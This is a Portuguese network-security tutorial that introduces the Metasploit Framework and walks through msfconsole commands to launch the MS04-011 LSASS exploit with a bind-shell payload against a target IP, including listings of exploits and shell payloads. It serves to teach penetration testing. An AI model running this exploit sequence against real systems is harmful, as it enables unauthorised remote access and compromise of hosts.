Tutoriais de Segurança de Redes
Transcrição
Tutoriais de Segurança de Redes
Tutoriais de Segurança de Redes Ricardo Kléber ([email protected]) Lição 01 :: Metasploit Básico Iniciando uma série de lições de utilização de soluções/ferramentas para a prática de segurança de redes, este primeiro tutorial foca na Ferramenta Metasploit, disponível em sua última versão (4.4) no LiveDVD Forense Backtrack5R3. O Metasploit, por si só, já valeria um LiveCD, pelo conjunto de funcionalidades que oferece. O principal objetivo desses tutoriais é a popularização da cultura de segurança e a troca de informações na área, principalmente entre estudantes de cursos de computação, embora a linguagem e a abordagem utilizados busquem simplificar conceitos e ferramentas a ponto de atrair leitores de outras áreas do conhecimento. O Que é Metasploit? De acordo com o seu próprio site oficial (www.metasploit.com) o Metasploit Framework é uma plataforma avançada “Open Source”, desenvolvida especificamente com o objetivo de potencializar e agilizar o desenvolvimento, testes e utilização de exploits. O projeto desse framework, que segundo seus criadores nasceu como um jogo, tem demonstrado um crescimento espetacular, especialmente a partir da versão 2.2, dando-lhe lugar privilegiado entre os kits de ferramentas de todos os profissionais da área de segurança da informação. Como a maioria de seus componentes são escritos na linguagem Perl, outros ainda desenvolvidos em C e Assembler, sua portabilidade está assegurada, aspecto que contribui em grande parte para a sua aceitação massiva, pois pode ser utilizado em praticamente todas as plataformas Unix-Like, BSD, MacOS X, Windows, etc. Um outro aspecto interessante é o licenciamento a partir da versão 2.3 do Metasploit Framework, baseado tanto na GPL v2 como na “Perl Artistic Licences”, permitindo sua utilização tanto em projetos Open Source como em projetos comerciais. O foco principal do Metasploit Framework é a área de Penetration Test (PenTest) ou, em português, “Testes de Penetração”, atividade cada vez mais recomendada tanto por equipes de segurança internas nas instituições, com vistas a testar a aplicação de suas políticas de segurança, como por empresas de consultoria especializada que oferecem esse tipo de serviço a outras, com vistas a buscar explorar vulnerabilidades a partir de ambientes externos, simulando o comportamento de eventuais atacantes, antes que esses ataques, de fato, ocorram. Em 21 de outubro de 2009, a empresa de segurança Rapid7 adquiriu o projeto Metasploit mantendo, porém, uma equipe de desenvolvimento em tempo integral e o todo o código fonte sob licença BSD. Estudantes (e curiosos) podem utilizar o Metasploit Framework incorporando a ele novas funcionalidades, uma vez que, em função de sua licença, podem modificar, customizar ou apenas estudar suas linhas de código internas para entender o seu funcionamento. Mesmo com todas as suas ferramentas oferecidas gratuitamente para uso, o Metasploit Framework é uma excelente solução corporativa, comparável às grande soluções comerciais proprietárias (e caras) utilizadas para o mesmo objetivo. Instalando o Metasploit Framework Se o desejo é instalar o Metasploit Framework, como dito anteriormente a instalação pode ser realizada tanto em sistemas baseados em Unix/Linux como no MS-Windows, dentre outros. Em ambos os dois primeiros sistemas citados (com maior número de usuários), os instaladores dispõem de telas de ajuda (wizards) sendo que, no caso do Windows, a instalação é feita sobre uma versão do software Cygwin customizado que, após configurado, realiza a instalação e configuração do Metasploit Framework normalmente, a partir de um arquivo executável (“metasploit-latest-windows-installer.exe”). No caso do Unix/Linux, o usuário pode baixar e instalar a partir do site oficial a última versão do Metasploit Framework (“metasploit-latest-linuxinstaller.run”), descompactar e instalar. Este tutorial não detalhará os demais passos da instalação (em quaisquer das arquiteturas) uma vez que subentende que o usuário está fazendo uso do LiveCD Backtrack5R3 que já dispõe da ferramenta instalada e configurada, pronta para uso. Atualizando o Metasploit Framework O Metasploit Framework traz, como parte de seus componentes, uma série de exploits prontos para utilizar. Uma vez que novas vulnerabilidades surgem a cada instante, naturalmente novos exploits (para explorar essas vulnerabilidades) também devem surgir, tornando o framework constantemente desatualizado, necessitando de atualização constante. Essa atualização é possível uma vez que várias comunidades, grupos e instituições mantém atividades constantes de identificação, classificação e disponibilização de informações relacionadas a novas vulnerabilidades, bem como dos exploits para a sua exploração. Esses exploits podem ser adicionados facilmente ao Metasploit Framework através de um dos utilitários da ferramenta chamado “msfupdate” adicionada como parte da instalação padrão do Metasploit Framework a partir da versão 2.2. A sua utilização é bastante simples, como exemplificado a seguir: # msfupdate u Quando executado, o “msfupdate” exibe informações sobre as últimas novidades e solicita a confirmação para realizar o procedimento de atualização (adição dos novos exploits disponíveis publicamente ao Metasploit Framework). A presentaç ões (Interfaces) d o Metasploit Framework O Metasploit Framework disponibiliza 4 (quatro) interfaces distintas para interação com suas ferramentas/funcionalidades disponíveis: • Interface de Linha de Comando: Forma mais tradicional de interação com o framework, iniciada a partir do comando “msfcli”. • Interface de Console: Disponibiliza um prompt do Metasploit, e é iniciada a partir do comando “msfconsole” • Interface Web: Indicada para necessidades de interação com a ferramenta a partir de máquinas remotas (via browser) e/ou por mais de um usuário, como em situações em que as ferramentas necessitam ser executadas por equipes. Para a disponibilização dessa interface o Metasploit disponibiliza seu próprio servidor http podendo ser configurado, se necessário, para restringir o acesso a clientes (browsers) a partir da identificação de IPs e/ou senhas de acesso à interface. • Interface Web: Inicialmente acionada a partir do comando “msfgui” a interface gráfica do Metasploit surgiu em 2010, sendo substituída, posteriormente, pela interface Armitage, padrão utilizado na versão atual do Metasploit Framework. Lançando um Exploit Utilizando a interface de console do Metasploit Framework apresentamos, a seguir, um exemplo prático de utilização de um exploit específico. # msfconsole O Metasploit Framework apresentará um banner da ferramenta (Figura 01) indicando a versão instalada da ferramenta, quantidade de exploits e payloads disponíveis e, em seguida, o console (“msf >”) de interação aguardando a digitação do comando. _ _ / \ / \ __ _ __ /_/ __ | |\ / | _____ \ \ ___ _____ | | / \ _ \ \ | | \/| | | ___\ | | /\ / __\ | __/ | | | | || | | | |_| | | | _|__ | |_ / \ __\ \ | | | |_ \__/ | | | |_ |/ |____/ \___\/ /\ \___/ \/ \__| |_\ \___\ =[ metasploit v4.5.0dev [core:4.5 api:1.0] + =[ 927 exploits 499 auxiliary 151 post + =[ 251 payloads 28 encoders 8 nops =[ svn r15728 updated 100 days ago (2012.08.10) Warning: This copy of the Metasploit Framework was last updated 100 days ago. We recommend that you update the framework at least every other day. For information on updating your copy of Metasploit, please see: https://community.rapid7.com/docs/DOC1306 msf > Figura 01 – Banner de Apresentação da Interface msfconsole Como o comando/funcionalidade a ser digitado presume o conhecimento prévio de sua sintaxe e funcionalidade, para exibir informações sobre as opções disponíveis sugere-se, inicialmente, a digitação do comando “help”, cujo resultado exibirá a descrição de cada um dos comandos e seus resultados esperados. msf> help Conforme apresentado pelo comando “help”, para exibir, por exemplo, a lista de exploits disponíveis, devese digitar o comando “show exploits”: msf> show exploits O resultado desse comando é uma lista dos exploits (Figura 02) instalados/disponíveis na ferramenta. windows/ftp/oracle9i_xdb_ftp_pass 20030818 great Oracle 9i XDB FTP PASS Overflow (win32) windows/ftp/proftp_banner 20090825 normal ProFTP 2.9 Banner Remote Buffer Overflow windows/ftp/sasser_ftpd_port 20040510 average Sasser Worm avserve FTP PORT Buffer Overflow windows/http/apache_mod_rewrite_ldap 20060728 great Apache module mod_rewrite LDAP protocol Buffer Overflow windows/http/php_apache_request_headers_bof 20120508 normal PHP apache_request_headers Function Buffer Overflow windows/iis/iis_webdav_upload_asp 19940101 excellent Microsoft IIS WebDAV Write Access Code Execution windows/iis/ms02_065_msadc 20021120 normal Microsoft IIS MDAC msadcs.dll RDS DataStub ContentType Overflow windows/iis/ms03_007_ntdll_webdav 20030530 great Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow windows/iis/msadc 19980717 excellent Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution windows/mssql/ms02_039_slammer 20020724 good Microsoft SQL Server Resolution Overflow windows/smb/ms04_011_lsass 20040413 good Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow windows/smb/ms06_066_nwapi 20061114 good Microsoft Services MS06066 nwapi32.dll Module Exploit windows/smb/ms08_067_netapi 20081028 great Microsoft Server Service Relative Path Stack Corruption windows/wins/ms04_045_wins 20041214 great Microsoft WINS Service Memory Overwrite (...) msf > Figura 02 – Lista de Exploits instalados/disponíveis O uso de um exploit específico pode ser feito utilizando-se o comando “use” seguido do módulo de exploração (exploit) que se deseja utilizar: msf> use exploit/windows/smb/ms04_011_lsass Para mais informações sobre o módulo de exploit selecionado para utilização, pode-se utilizar a instrução “info”. Isso apresentará informações adicionais sobre o módulo. msf exploit(ms04_011_lsass)> info Como resultado (Figura 03) obteremos informações detalhadas sobre o módulo, como: • Nome detalhado do módulo • Caminho absoluto para acesso ao módulo • Versão • Plataforma-Alvo • Tipo de Licença • Endereço (e-mail) do desenvolvedor/mantenedor do módulo • Versões afetadas pela vulnerabilidade (targets) • Outras opções disponíveis para configuração (porta local / porta remota / IP local / IP remoto) • Descrição detalhada do módulo • Referências aos boletins de segurança publicados sobre a vulnerabilidade (CVE, Securityfocus, OSVDB, Microsoft Technet, etc). Name: Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow Module: exploit/windows/smb/ms04_011_lsass Version: 14976 Platform: Windows Privileged: Yes License: Metasploit Framework License (BSD) Rank: Good Provided by: hdm <[email protected]> Available targets: Id Name 0 Automatic Targetting 1 Windows 2000 English 2 Windows XP English Basic options: Name Current Setting Required Description RHOST yes The target address RPORT 445 yes Set the SMB service port Payload information: Space: 1024 Avoid: 7 characters Description: This module exploits a stack buffer overflow in the LSASS service, this vulnerability was originally found by eEye. When reexploiting a Windows XP system, you will need need to run this module twice. DCERPC request fragmentation can be performed by setting 'FragSize' parameter. References: http://cve.mitre.org/cgibin/cvename.cgi?name=20030533 http://www.osvdb.org/5248 http://www.securityfocus.com/bid/10108 http://www.microsoft.com/technet/security/bulletin/MS04011.mspx msf exploit(ms04_011_lsass) > Figura 03 – Exemplo de saída da instrução “info” Uma vez selecionado o exploit, deve-se indicar qual o “Shellcode” (“Payload”), ou seja, a “carga” que será executada pelo Metasploit Framework caso a exploração da vulnerabilidade seja bem sucedida. Para informações sobre os “Payloads” disponíveis pode-se digitar “show payloads” (Figura 04): msf exploit(ms04_011_lsass)> show payloads Compatible Payloads =================== Name Rank Description generic/custom normal Custom Payload generic/debug_trap normal Generic x86 Debug Trap generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline generic/tight_loop normal Generic x86 Tight Loop windows/adduser normal Windows Execute net user /ADD windows/dllinject/bind_tcp normal Reflective DLL Injection, Bind TCP Stager windows/dllinject/reverse_http normal Reflective DLL Injection, Reverse HTTP Stager windows/dllinject/reverse_tcp normal Reflective DLL Injection, Reverse TCP Stager windows/exec normal Windows Execute Command windows/shell/bind_tcp normal Windows Command Shell, Bind TCP Stager windows/shell/reverse_http normal Windows Command Shell, Reverse HTTP Stager windows/shell/reverse_tcp normal Windows Command Shell, Reverse TCP Stager windows/shell_bind_tcp normal Windows Command Shell, Bind TCP Inline windows/shell_reverse_tcp normal Windows Command Shell, Reverse TCP Inline (...) msf exploit(ms04_011_lsass) > Figura 04 – Exemplos de “Payloads” disponíveis Pode-se utilizar, ainda o comando “info” para obter informações adicionais de cada “Payload”, de modo a selecionar o mais conveniente para cada caso. Dando continuidade aos comandos selecionados como exemplo, selecionando, por exemplo, o payload “win32_bind”, caso a vulnerabilidade seja explorada com sucesso, a execução do exploit resultará na disponibilização de uma shell no sistema remoto. A seleção do payload específico é feita através do comando “set”: msf exploit(ms04_011_lsass)> set PAYLOAD generic/shell_bind_tcp Assim, uma vez listados os exploits e payloads disponíveis, tendo-se obtido mais informações sobre cada um deles, e escolhidas as opções específicas (Exploit: ms04_011_lsass e Payload: shell_bind_tcp) pode-se/devese solicitar ao Metasploit Framework as informações complementares disponíveis para finalizar o processo de informação de dados para o uso do exploit, utilizando o comando “show options”. msf exploit(ms04_011_lsass)> show options O resultado (como exemplificado na Figura 05) apresentará as variáveis/opções complementares disponíveis antes de executar o exploit/payload. Module options (exploit/windows/smb/ms04_011_lsass): Name Current Setting Required Description RHOST yes The target address RPORT 445 yes Set the SMB service port Payload options (generic/shell_bind_tcp): Name Current Setting Required Description LPORT 4444 yes The listen port RHOST no The target address Exploit target: Id Name 0 Automatic Targetting msf exploit(ms04_011_lsass) > Figura 05 – Exemplos de opções complementares Em alguns casos, parte dessas opções já disponibilizam automaticamente valores sugeridos (default), porém, algumas opções necessitam ser preenchidas, como o IP da máquina alvo (RHOST = Remote Host) ou a porta local que será utilizada para interagir com o host remoto (LPORT = Local Port). Para informar os valores dessas variáveis deve-se utilizar o comando “set” para cada um deles, como no exemplo a seguir: msf exploit(ms04_011_lsass)> set RHOST 192.168.0.2 Após a informação do valor da variável, pode-se/deve-se utilizar novamente o comando “show options” para verificar se o valor foi corretamente informado, bem como para verificar se existem outras variáveis que ainda necessitam que seus valores sejam informados: msf exploit(ms04_011_lsass)> show options Estando tudo configurado corretamente pode-se, finalmente, executar o exploit informando o comando “exploit” e aguardando o seu resultado. msf exploit(ms04_011_lsass)> exploit Se a operação foi bem sucedida, o Metasploit Framework disponibilizará um interpretador de comandos (shell) que, nesse caso, poderá ser utilizado a partir da conexão na porta local (LPORT) 4444. Assim, a vulnerabilidade foi explorada com sucesso e o usuário poderá explorar o acesso remoto ao host selecionado a partir de uma shell em sua estação local. Finalizando... O exemplo apresentado nesta lição ilustra apenas uma simulação de exploração de vulnerabilidade a partir de uma das interfaces disponíveis no Metasploit Framework. Todo o processo é, de fato, como aqui ilustrado, bastante simples: – Identificação da vulnerabilidade a explorar – Seleção da Interface do Metasploit – Seleção do Exploit a Utilizar – Seleção do Payload – Configuração de parâmetros adicionais – Execução do Exploit – Exploração da vulnerabilidade Outros módulos, não necessariamente de exploração de vulnerabilidades, como por exemplo os módulos de varreduras (scan) de portas e/ou de vulnerabilidades também estão disponíveis na ferramenta e podem ser utilizados a partir de passos semelhantes aos do exemplo aqui apresentado. Cabe reforçar a importância do primeiro passo apresentado nesta lição: a atualização dos módulos do Metasploit Framework. Isso permitirá manter a ferramenta sempre preparada para a exploração das últimas vulnerabilidades encontradas a partir dos exploits específicos para cada uma delas. Ricardo Kléber Martins Galvão é bacharel em Ciências da Computação e mestre em Engenharia Elétrica, professor de disciplinas de segurança de redes e perícia forense computacional no curso de Tecnologia em Redes de Computadores do Instituto Federal de Educação, Ciência e Tecnologia do RN, atuando desde 1998 na área de segurança de redes, ministrando palestras, treinamentos e consultorias na área, tendo atuado como Security Officer da Universidade Federal do Rio Grande do Norte, Diretor de Redes do Detran/PE e professor em cursos de especialização em Segurança da Informação e Computação Forense em diversas faculdades do país. É usuário do sistema operacional Linux desde 1996 e atualmente é Diretor Acadêmico de Gestão e Tecnologia da Informação do IFRN / Câmpus Natal Central.
Documentos relacionados
Metasploit – parte 8
Metasploit disponibiliza um payload especial chamado de Meterpreter, que proporciona ampla interação com a máquina alvo após a invasão, assim como uma inteligente coleta de dados e possibilidade de...
Leia maisclicando aqui. - Julio Della Flora
Este trabalho teve como objetivo expor os benefícios da utilização do framework Metasploit e evidenciar como seus recursos aceleram o desenvolvimento de código para exploração de vulnerabilidades. ...
Leia mais